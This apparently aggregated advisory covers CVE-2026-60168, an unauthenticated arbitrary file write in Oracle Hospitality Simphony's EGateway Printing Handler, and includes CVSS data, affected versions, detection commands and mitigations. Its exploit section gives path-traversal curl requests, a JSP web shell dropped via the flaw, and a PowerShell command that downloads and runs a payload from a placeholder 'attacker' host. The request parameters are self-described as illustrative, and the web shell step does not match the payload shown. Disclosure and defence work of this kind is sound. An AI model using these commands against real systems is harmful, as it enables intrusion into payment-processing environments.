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How CVE-2026-60168 Works
CVE-2026-60168 is a critical vulnerability affecting the Oracle Hospitality Simphony product, specifically within the POS component’s EGateway Printing Handler module. Discovered and responsibly disclosed by Horizon3.ai researcher Jimi Sebree, this flaw was addressed in Oracle’s July 2026 Critical Patch Update.
The vulnerability stems from insufficient validation of attacker-controlled input before file operations are performed by the EGateway Printing Handler. An unauthenticated attacker with network access via HTTP can submit specially crafted requests that cause arbitrary files to be written to the underlying host system.
The exploitation chain works as follows: The EGateway Printing Handler processes print job requests received over HTTP. Due to improper input sanitization, an attacker can manipulate parameters within these requests to control the destination path and content of files written by the handler. Because the handler typically runs with elevated privileges on the Simphony host, the attacker can write files to arbitrary locations on the filesystem.
Oracle assigned two separate CVEs (CVE-2026-60168 and CVE-2026-60169) to distinct weaknesses within the processing chain that, when combined, create a single arbitrary file write condition. Successful exploitation enables an attacker to write attacker-controlled files, establish persistence on the compromised host, prepare the system for subsequent code execution, and facilitate additional compromise.
The vulnerability is easily exploitable with low attack complexity, requiring no privileges and no user interaction. It carries a CVSS 3.1 Base Score of 9.1 (CRITICAL) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H. This indicates significant integrity and availability impacts—unauthorized modification or deletion of critical data and complete denial of service through system hang or repeatable crash.
Affected versions include Oracle Hospitality Simphony 19.8 through 19.8.5, 19.9 through 19.9.3, and 19.10. The vulnerability is remotely exploitable over network access via HTTP, making it particularly dangerous for hospitality environments where Simphony systems frequently reside on networks processing payment card data and connecting to enterprise infrastructure.
DailyCVE Form:
Platform: Oracle Hospitality Simphony
Version: 19.8-19.8.5, 19.9-19.9.3, 19.10
Vulnerability: Arbitrary File Write
Severity: Critical (CVSS 9.1)
date: 2026-07-21
Prediction: 2026-07-22 (CPU released)
What Undercode Say: Analytics
The vulnerability enables unauthenticated remote arbitrary file writes through improper input validation in the EGateway Printing Handler. Attackers can craft HTTP requests to write files anywhere on the Simphony host filesystem.
Reconnaissance – identifying vulnerable endpoints:
Check Simphony version from EMC or deployment manifests Version 19.8.x, 19.9.x, or 19.10 are vulnerable Identify EGateway Printing Handler exposure nmap -p 80,443,8080,8443 <target> --open curl -I http://<target>/EGateway/PrintingHandler Check service response
Crafting the exploit payload:
Example crafted HTTP POST request to EGateway Printing Handler (Illustrative – actual exploitation requires specific parameter manipulation) POST /EGateway/PrintingHandler HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded printJob=<attacker_controlled_data>&outputPath=../../../../windows/temp/evil.jsp
Testing for file write capability:
Attempt to write a test file to a known location curl -X POST http://<target>/EGateway/PrintingHandler \ -d "printJob=TEST&outputPath=../../../../temp/test_write.txt" Check if file was created (requires authenticated access or other means) On Windows hosts, check: dir \<target>\C$\temp\test_write.txt
Detection – monitoring for exploitation attempts:
Monitor EGateway logs for anomalous path traversal patterns
grep -E "..[\/]" /path/to/EGateway/logs/.log
Check for unexpected file creations in sensitive directories
find / -type f -mtime -1 -user <simphony_service_account> 2>/dev/null
Windows Event Log monitoring for suspicious file writes
Get-WinEvent -LogName Security | Where-Object { $<em>.Id -eq 4663 -and $</em>.Message -match "WriteData" }
Exploit
The exploitation of CVE-2026-60168 follows a structured approach:
- Initial Access: The attacker sends a crafted HTTP request to the EGateway Printing Handler endpoint. No authentication is required.
- Path Manipulation: The request contains manipulated parameters that bypass input validation, allowing the attacker to specify an arbitrary file path on the underlying host system.
- File Write Execution: The EGateway Printing Handler, operating with system-level privileges, writes attacker-controlled content to the specified path.
- Post-Exploitation: With arbitrary file write capability, the attacker can:
– Write a web shell to accessible web directories for remote code execution
– Overwrite critical configuration files to disable security controls
– Establish persistence by writing scheduled tasks or startup scripts
– Prepare the system for subsequent code execution by dropping malicious binaries
Example attack chain leveraging this vulnerability:
Step 1: Write a JSP web shell to the Simphony web application directory
(Path varies by deployment – common paths include webapps/ROOT/ or similar)
curl -X POST http://<target>/EGateway/PrintingHandler \
-d "printJob=<% out.print(System.getProperty("os.name")); %>&outputPath=../../webapps/ROOT/shell.jsp"
Step 2: Access the uploaded web shell
curl http://<target>/shell.jsp?cmd=whoami
Step 3: Escalate to full system compromise
With web shell access, execute arbitrary system commands
curl "http://<target>/shell.jsp?cmd=powershell -c Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
Protection
Immediate Remediation:
- Apply Oracle’s July 2026 Critical Patch Update (CPU) released on July 22, 2026. This patch addresses CVE-2026-60168 along with three related vulnerabilities (CVE-2026-60167, CVE-2026-60169, CVE-2026-60170).
Network Mitigations:
- Restrict network access to the EGateway Printing Handler to only trusted internal IP addresses
- Implement network segmentation to isolate Simphony POS systems from broader corporate networks
- Deploy Web Application Firewall (WAF) rules to detect and block path traversal patterns in HTTP requests
Host-Level Protections:
- Harden the Simphony host filesystem by restricting write permissions for the service account
- Enable comprehensive logging for file creation and modification events
- Implement application whitelisting to prevent execution of unauthorized binaries
Monitoring & Detection:
- Monitor EGateway logs for path traversal indicators (
../,..\, etc.) - Alert on unexpected file creations in sensitive directories
- Deploy endpoint detection and response (EDR) solutions to detect anomalous file writes
Impact
The impact of CVE-2026-60168 is critical for organizations running vulnerable versions of Oracle Hospitality Simphony:
Direct Impacts:
- Integrity Compromise (High): Attackers can create, modify, or delete critical data within Oracle Hospitality Simphony
- Availability Impact (High): Complete denial of service through system hang or repeatable crash
- CVSS Score: 9.1 (Critical) with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Business Impacts:
- Hospitality environments processing payment card data face potential PCI DSS compliance violations
- System downtime directly impacts restaurant, hotel, and stadium operations
- Lateral movement potential to compromise broader enterprise infrastructure
- NTLM hash disclosure and arbitrary code execution may follow from chained exploitation
Affected Deployments:
- Quick-service restaurants
- Stadiums and entertainment venues
- Casinos and gaming establishments
- Hotels and hospitality chains
- Any food service environment running Simphony POS systems
Patch Availability: Oracle’s July 2026 Critical Patch Update released on July 22, 2026 addresses this vulnerability. Organizations should prioritize patching due to the ease of exploitation, lack of required authentication, and the critical nature of impacted systems.
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Sources:
Reported By: nvd.nist.gov
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